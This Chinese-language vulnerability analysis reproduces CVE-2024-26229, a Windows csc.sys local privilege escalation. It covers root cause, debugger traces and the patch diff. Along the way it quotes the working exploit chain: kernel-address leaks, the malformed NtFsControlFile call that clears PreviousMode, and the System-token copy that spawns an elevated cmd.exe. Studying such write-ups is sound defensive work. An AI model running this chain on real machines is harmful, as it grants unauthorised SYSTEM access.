CVE-2024-26229 漏洞复现分析
概述
该本地提权漏洞是Csc.sys驱动中CscDevFcbXXXControlFile函数存在越界读写导致的。
漏洞原理
Csc.sys中的CscDevFcbXXXControlFile函数在操作代码为0x1401A3时直接对InputBuffer区域进行了修改,而没有去判定这指针指向的内存地址是否合法。他会直接对我们传入的地址的+0x18位进行修改。
提权代码分析
代码链接:https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c
跟csc.sys建立符号链接,使用 NtCreateFile 创建一个新的文件句柄,该句柄与 csc.sys 驱动的设备对象关联。
RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
枚举当前系统中的进程句柄信息
Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId; // 进程ID
UCHAR ObjectTypeNumber; // 对象类型索引
UCHAR Flags; // 句柄标志
USHORT Handle; // 句柄值
PVOID Object; // 指向对象的指针
ACCESS_MASK GrantedAccess; // 授予的访问权限
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
获取指定进程的EPROCESS地址
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
这段代码调用之前定义的 GetObjPtr 函数来获取 System 进程和当前进程的 EPROCESS 结构地址。
Ret = GetObjPtr(&Sysproc, 4, 4);
GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
获取当前进程和线程的结构体地址
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
.......
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
越界读写点,修改线程结构体的PreviousMode,使其进入特权阶级。
status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
NTSTATUS NtFsControlFile(
IN HANDLE FileHandle,//文件或目录的句柄,csc.sys的句柄
IN HANDLE EventHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG FsControlCode,//文件系统控制操作代码,0x001401a3
IN PVOID InputBuffer,//越界读写,提升线程的权限为PreviousMode
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength
);
提升进程令牌权限,提升至跟System进程权限一致,然后恢复线程权限位USER_MODE(token的偏移不同版本可能会不一样)
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
最后完成提权,使用提升的权限启动一个新的命令提示符。
system("cmd.exe");
动态调试漏洞
获取程序的Peb ObjectTable地址
在NtFsControlFile之前插入一个DebugBreak让他断下来,然后这时候观察栈里面传入NtFsControlFile中的数据,其中0x1401a3是操作码,ffffa20f`f947e29a是KTHREAD+0x232-0x18的值
这时候Kthread结构体中的PreviousMode位还没有被修改,此时还是UserMode。
此时再给CscDevFcbXXXControlFile下一个断点跑过去
判断操作码
把刚刚的Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18传入RAX寄存器中
这里把KTHREAD的PreviousMode置0
然后完成提权
补丁分析
这是原本的代码 没有对地址进行检测
if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
{
v8 = *(_QWORD *)(a1 + 0x218);
v3 = 0;
*(_QWORD *)(a1 + 0xB8) = 0i64;
*(_QWORD *)(v8 + 0x18) = 0i64;
}
修改之后调用了ProbeForWrite对地址是否在用户空间进行了检测,如果地址在内核空间的话会抛出异常。检测完毕之后再去置0。
if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
{
v9 = *(_DWORD *)(a1 + 0x228);
*(_QWORD *)(a1 + 0xB8) = 0i64;
if (v9 < 0x24)
{
v2 = 0xC0000023;
}
else
{
v10 = *(_QWORD *)(a1 + 0x218);
if( *(_BYTE *)(*(_QWORD *)(a1 + 40) + 64i64))
ProbeForWrite(*(volatile void **)(a1 + 0x218),v9,4u);
if( *(_DWORD *)(v10 + 4) == 6)
{
*(_QWORD *)(v10 + 0x18) = 0i64;
v2 = 0;
}
else
{
v2 = 0xC000000D;
}
}